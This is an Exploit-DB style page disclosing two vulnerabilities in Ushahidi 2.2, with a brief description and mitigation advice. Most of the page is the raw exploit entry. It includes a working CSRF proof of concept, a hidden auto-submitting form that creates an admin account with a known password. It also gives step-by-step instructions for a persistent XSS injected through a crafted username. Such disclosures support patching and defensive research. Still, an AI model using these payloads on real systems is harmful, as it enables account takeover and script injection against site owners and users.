header-logo
Suggest Exploit
vendor:
Ushahidi
by:
shpendk
8,8
CVSS
HIGH
CSRF Add Admin PoC & Persistent XSS
352, 79
CWE
Product Name: Ushahidi
Affected Version From: 2.2
Affected Version To: 2.2
Patch Exists: NO
Related CWE: N/A
CPE: 2.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Xampp on Windows
2012

Ushahidi 2.2 Multiple Vulnerabilites

The first vulnerability is a CSRF Add Admin PoC which allows an attacker to add an admin user to the system. This is done by sending a POST request with the necessary parameters. The second vulnerability is a Persistent XSS which allows an attacker to inject malicious JavaScript code into the system. This is done by creating a new user with a malicious username.

Mitigation:

Implementing a strong CSRF protection mechanism and validating user input to prevent XSS attacks.
Source

Exploit-DB raw data:

# Exploit Title: Ushahidi 2.2 Multiple Vulnerabilites
# Date: 04/12/2012
# Author: shpendk
# Software Link: http://download.ushahidi.com/
# Version: 2.2
# Tested on: Xampp on Windows
# Vendor Contact: 		03/25/2012
-> Contacted again:		03/28/2012
-> No Response yet:		04/11/2012
-> Full Disclosure:		04/12/2012



1) CSRF Add Admin PoC:

-----------------------------------------------------------------------------------------------------
<html>
<body>
<form action="http://127.0.0.1/admin/users/edit" method="POST">
<input type="hidden" name="name" value="myname">
<input type="hidden" name="email" value="shpendk13@gmail.com">
<input type="hidden" name="role" value="admin">
<input type="hidden" name="username" value="shpendk">
<input type="hidden" name="notify" value="1">
<input type="hidden" name="password" value="letmein">
<input type="hidden" name="password_again" value="letmein">
</form>
<script> document.forms[0].submit(); </script>

</body>
</html>
		
-------------------------------------------------------------------------------------------------------



2) Persistent XSS

------------------------------------------------------------------------------------------------------

	-> Go to http://127.0.0.1/login
	-> Create New User
		-> Enter username: <img/onerror="alert(123)"src=a>
	-> Login as Admin and go to http://127.0.0.1/admin/users
		
------------------------------------------------------------------------------------------------------